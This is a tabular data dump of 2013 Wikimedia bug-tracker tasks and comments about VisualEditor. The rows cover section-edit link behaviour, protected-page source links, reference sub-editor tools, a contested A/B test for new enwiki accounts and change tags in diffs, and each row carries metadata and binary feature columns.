+402213,Add support for (the equivalent of?) editintro and preload,Indeed.,,,1421917704,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,81,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+393115,Add support for (the equivalent of?) editintro and preload,"I think editintro/preload would be very useful not just for new users, but for many kinds of repetitive administration tasks/queries for which preloads are now used. Having TemplateData integrated (I guess), users could be presented the fields they have to fill in the visual way, avoiding errors and fully controlling the input.",,,1419623366,,PHID-USER-rbfsfm2cvpr37oz3wxju,False,,,PHID-TASK-3z252ihuxf33ir4how73,task_subcomment,,True,c1,3,False,,,77,,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+51620,VisualEditor: Section edit links opens the source editor after saving the section using the visual editor,"To reproduce:
+
+1. Open a page with several sections.
+2. Scroll to the second section and press the ""edit"" link near the heading. The Visual Editor opens. Make a change in the text and save the edit.
+3. Press the same ""edit"" link again.
+
+Observed: The source editor opens.
+
+Expected: The visual editor opens.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1371313740,1372109956.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-6welutlbuxohheakxhlf,task_description,resolved,True,c1,2,False,False,True,-3,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+240282,VisualEditor: Section edit links opens the source editor after saving the section using the visual editor,*** Bug 50181 has been marked as a duplicate of this bug. ***,,,1373162765,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6welutlbuxohheakxhlf,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240274,VisualEditor: Section edit links opens the source editor after saving the section using the visual editor,Merged. Will go out on Thursday or beforehand if we push.,,,1372109956,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6welutlbuxohheakxhlf,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+240270,VisualEditor: Section edit links opens the source editor after saving the section using the visual editor,Related URL: https://gerrit.wikimedia.org/r/70324 (Gerrit Change Idf938c0dc8535c30ce63a05d56abeee210a67380),,,1372109122,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6welutlbuxohheakxhlf,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51618,"""View source"" is missing on protected LQT pages","As indicated on
+[[mw:Thread:VisualEditor/Feedback/source code?]]
+the page
+https://www.mediawiki.org/wiki/VisualEditor/Feedback
+which was protected recently has no ""View source"" link to see the content of the header. There should be one, pointing to
+https://www.mediawiki.org/wiki/VisualEditor/Feedback?action=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1371298920,1376116339.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-ccjs4p2cgeia2i67aibl,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,1
+240225,"""View source"" is missing on protected LQT pages","Change 68860 merged by jenkins-bot:
+Show an edit link for discussion page headers even if the user can't edit it
+
+https://gerrit.wikimedia.org/r/68860",,,1376116309,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ccjs4p2cgeia2i67aibl,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+240220,"""View source"" is missing on protected LQT pages",Related URL: https://gerrit.wikimedia.org/r/68860 (Gerrit Change I99c17acea0be7b0ef650959e5e280ca5e9154b2a),,,1371306935,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ccjs4p2cgeia2i67aibl,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51617,"VisualEditor: Visually discourage use of ""legal"" but unwanted structures in sub-editors (e.g. lists in references)","In VE, click the ""Reference"" toolbar icon. According to the toolbar icons in the ""Content"" section, it is possible to insert lists, headings and images within the text of a reference.
+
+This is a nonsensical capability. The only required formatting here is bold, italic and wikilink, if that.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52646",Medium,50.0,1371297660,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-fbmrhc7yiidum6n27xww,task_description,open,True,c1,2,False,False,,-3,,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+240190,"VisualEditor: Visually discourage use of ""legal"" but unwanted structures in sub-editors (e.g. lists in references)","(In reply to comment #3)
+> (In reply to comment #2)
+> > Maybe we can discourage users from doing these things in some way, but we
+> > can't
+> > just not support this, as users have to be able to edit these back into a
+> > more
+> > rational use.
+> 
+> On enwiki there is never any good reason to have headings or images in
+> references. In the 0.000001% of cases where it is actually wanted, it can
+> just be done using the wikitext source editor, I think.
+
+The objective of VE is for even power users to never need to enter the wikitext editor. Fixing broken usage would be an example of a use case that we'd want to support.
+
+> However, I can understand that other wikis might want this functionality in
+> VE for some reason, so I suppose enwiki could hide the relevant functionality
+> via CSS or something like that if you think it would be better.
+
+I was thinking of having such tools hidden under an ""advanced tools"" collapsed block in the toolbar, but we should properly look at this rather than just commit to the way to do it in a Bugzilla thread. :-) Ideally we'd rather not have individual wikis trying to come up with local-only ""solutions"" to this.",,,1371429262,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fbmrhc7yiidum6n27xww,task_subcomment,,True,c1,2,True,,,-2,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+240182,"VisualEditor: Visually discourage use of ""legal"" but unwanted structures in sub-editors (e.g. lists in references)","(In reply to comment #2)
+> Maybe we can discourage users from doing these things in some way, but we
+> can't
+> just not support this, as users have to be able to edit these back into a
+> more
+> rational use.
+
+On enwiki there is never any good reason to have headings or images in references. In the 0.000001% of cases where it is actually wanted, it can just be done using the wikitext source editor, I think.
+
+However, I can understand that other wikis might want this functionality in VE for some reason, so I suppose enwiki could hide the relevant functionality via CSS or something like that if you think it would be better.",,,1371426645,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-fbmrhc7yiidum6n27xww,task_subcomment,,True,c1,2,False,,,-3,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+240177,"VisualEditor: Visually discourage use of ""legal"" but unwanted structures in sub-editors (e.g. lists in references)","(In reply to comment #1)
+> (In reply to comment #0)
+> > lists, headings and images
+> 
+> Sorry, the list functionality has been correctly removed from this view. It
+> is only headings and images that need to be hidden.
+
+
+Regrettably, wikitext does actually pretty much everything inside references except other references (though some, ahem, ""enterprising"" users have found a way around that intentional limit). Examples:
+
+  https://www.mediawiki.org/wiki/VisualEditor:TestReferenceContents
+
+Maybe we can discourage users from doing these things in some way, but we can't just not support this, as users have to be able to edit these back into a more rational use.
+
+(The reason that these were removed are that you're not allowed lists in image captions; we're clearly going to have to split what things the sub-editors can allow by type. Created that as bug 49657.)",,,1371422468,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fbmrhc7yiidum6n27xww,task_subcomment,,True,c1,2,True,,,-3,,1,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+240173,"VisualEditor: Visually discourage use of ""legal"" but unwanted structures in sub-editors (e.g. lists in references)","(In reply to comment #0)
+> lists, headings and images
+
+Sorry, the list functionality has been correctly removed from this view. It is only headings and images that need to be hidden.",,,1371297776,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-fbmrhc7yiidum6n27xww,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1
+51604,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"This is to run from 19 June (end on with the Notifications split test, so we don't much their data up).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: http://thread.gmane.org/gmane.science.linguistics.wikipedia.technical/70737
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49727",Medium,50.0,1371261480,1372093892.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-esg6d3iurlxoqoaozlgc,task_description,resolved,True,c1,2,True,False,True,-3,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+239450,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,https://en.wikipedia.org/w/index.php?title=Humanoid&diff=prev&oldid=561404936,,,1372103132,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+239444,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,https://en.wikipedia.org/w/index.php?title=2013_CONCACAF_Gold_Cup&diff=561404682&oldid=561374126,,,1372103030,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+239439,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"https://en.wikipedia.org/w/index.php?title=Minnesota&curid=19590&diff=561394244&oldid=561292962
+
+Dirty diff, HTML comments being stripped, etc.
+
+Will the VisualEditor team be cleaning up these edits?",,,1372098253,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1
+239437,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,This is now deployed and will run for a week or so to help advise on whether the main switch should be thrown for all users. Data to be published as we get it.,,,1372093892,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+239435,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"From <https://en.wikipedia.org/w/index.php?title=Wikipedia:Administrators%27_noticeboard&oldid=560544063#VisualEditor_-_A.2FB_test_launch_on_18_June>:
+
+---
+Hey all. We're going to postpone the A/B test for several days; I'll post more details as I get them, but I understand it's largely down to known bugs with the existing software - bugs that you reported, and bugs that were crucial in making a go/no go decision. Thank you to everyone for all your hard work poking at the VE, and for all your reports thus far; it's much appreciated :). Okeyes (WMF) (talk) 19:25, 18 June 2013 (UTC)
+---
+
+Thanks to Legoktm for pointing this out to me, otherwise I likely never would've seen it.",,,1371610389,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-2,,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+239431,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"I fully agree with MZMcBride :
+* I think it's ethically questionable to run experiments on users in this manner
+* There are still severe bugs in VisualEditor at this time, so it shouldn't be deployed more widely
+
+And I've more concerns about this kind of experiments :
+* There are still a lot of minor/major bugs in VisualEditor at this time, I don't expect new users to have to handle them when discovering Wikipedia edition.
+* There are still major limitations on what can be done with VisualEditor (templates, references, ...). What will be the experience for new users if they can only edit some parts of articles ?
+
+I believe this kind of experiment should only be done when VisualEditor is fully functional (when users can do almost every modification they want) and without major bugs left.",,,1371286353,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0
+239427,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"(In reply to comment #0)
+> This is to run from 19 June (end on with the Notifications split test, so we
+> don't much their data up).
+
+June 19 is a few days away. Given some of the recent feedback at [[Wikipedia:VisualEditor/Feedback]] regarding severe bugs in VisualEditor, it doesn't seem like VisualEditor is ready to be deployed more widely.",,,1371266626,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+239423,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"It seems like auto-opting in a user also requires an auto-opt out mechanism. Otherwise, this is a dramatic departure from user expectations. As I understand it, anonymous users currently get the wikitext editor. Nearly every MediaWiki installation, including the one the user was just using use the standard wikitext editor, so suddenly changing that needs to be done cautiously.
+
+Is there currently an auto-opt mechanism? If not, I consider that a blocker to this bug being resolved.
+
+While I think it's ethically questionable to run experiments on users in this manner, one safeguard is ensuring that it's as easy as possible for users to _escape_ such experiments. Within the VisualEditor interface (and possibly elsewhere in the user interface), there should be one-click ""I didn't ask for this"" option to disable VisualEditor. In addition to an option on the editor itself, other areas of the site (such as the post-login screen) could be modified. ""Welcome to Wikipedia! You've been selected to test our beta software. [opt out]"" or similar.",,,1371263231,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+239419,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,"(In reply to comment #2)
+> Has en.wikipedia been notified?
+
+This would be good.
+
+From what I can tell, this test only applies to new users, though it's difficult to figure that out based on the current Bugzilla subject text or the related commit. It currently reads as though this will be an A/B on all users, not just new users.",,,1371262864,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,1,0,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+239415,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,Related URL: https://gerrit.wikimedia.org/r/68846 (Gerrit Change I94d74fd8abeba465f1f9463890541e8c8f786a43),,,1371262367,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+239411,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,Has en.wikipedia been notified?,,,1371262231,,PHID-USER-hwuumsjqciw7ji5qhpc7,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+239407,Run an A/B split test for VisualEditor enabled by default on enwiki for new accounts,Related URL: https://gerrit.wikimedia.org/r/68845 (Gerrit Change I5c603ece309d61641d32ccc9eff5ea2890d5b816),,,1371262153,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-esg6d3iurlxoqoaozlgc,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51602,VisualEditor: Show VisualEditor tag in diffs,"The VisualEditor edit tag (Tag: VisualEditor) should show on diffs, too.  This will probably require a core change.  However, I'm filing it here, both so you're aware of it, and because it might need to be configurable (it might be we don't want all tags, such as AbuseFilter, etc. to show on diffs).
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1371258900,1373486407.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_description,resolved,True,c1,2,True,False,True,-3,,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+239174,VisualEditor: Show VisualEditor tag in diffs,"Change 73004 merged by jenkins-bot:
+Remove ""Tag: "" prefix, now that they're in MW core
+
+https://gerrit.wikimedia.org/r/73004",,,1373582616,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+239171,VisualEditor: Show VisualEditor tag in diffs,"The core change is done in MW master, and will be part of wmf10; as such, marking this as fixed.",,,1373486407,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+239167,VisualEditor: Show VisualEditor tag in diffs,"Change 72317 merged by jenkins-bot:
+Show change tags on diffs
+
+https://gerrit.wikimedia.org/r/72317",,,1373483242,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239163,VisualEditor: Show VisualEditor tag in diffs,"(In reply to comment #5)
+> Because revision tagging is really incomplete, as I recall, lacking
+> the ability to do all the things you might want to do with revision
+> tags (like manually adding one, removing an incorrect one, renaming
+> one, etc.).
+
+File a bug :) Change I8ace1d47 (now abandoned) attempted to add an API
+module for this, it could be used as a starting point.
+
+
+(In reply to comment #5)
+> Matthew also brings up another major point in comment 4.
+> Historically revision tags have been added with AbuseFilter filters
+> (Andrew G. wrote both the AbuseFilter extension and the core
+> revision tagging feature, as I remember it). Consequently, making
+> ""possible libel"" or other similar tags more visible in the user
+> interface may not be a great idea until revision tagging is further
+> developed.
+
+They are not really *that* visible, they're displayed just like edit
+summaries, but without the italics. (Of course wiki admins can make
+them show up all uppercase, bold and on neon-yellow background.)",,,1373226492,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,1,1,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,1
+239156,VisualEditor: Show VisualEditor tag in diffs,"(In reply to comment #3)
+> Personally I see no reason to show any tag in history view, but keep it
+> hidden on diff view. What would be the use case?
+
+Because revision tagging is really incomplete, as I recall, lacking the ability to do all the things you might want to do with revision tags (like manually adding one, removing an incorrect one, renaming one, etc.).
+
+Matthew also brings up another major point in comment 4. Historically revision tags have been added with AbuseFilter filters (Andrew G. wrote both the AbuseFilter extension and the core revision tagging feature, as I remember it). Consequently, making ""possible libel"" or other similar tags more visible in the user interface may not be a great idea until revision tagging is further developed.",,,1373162088,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+239150,VisualEditor: Show VisualEditor tag in diffs,"(In reply to comment #3)
+> Personally I see no reason to show any tag in history view, but keep it
+> hidden on diff view. What would be the use case?
+
+It might be annoying to have AbuseFilter tags exposed on the diff UI, since they are known to sometimes be inaccurate (like any automatic classification).  When you're looking at the diff, you see the full change, so automatic classifications are less necessary.
+
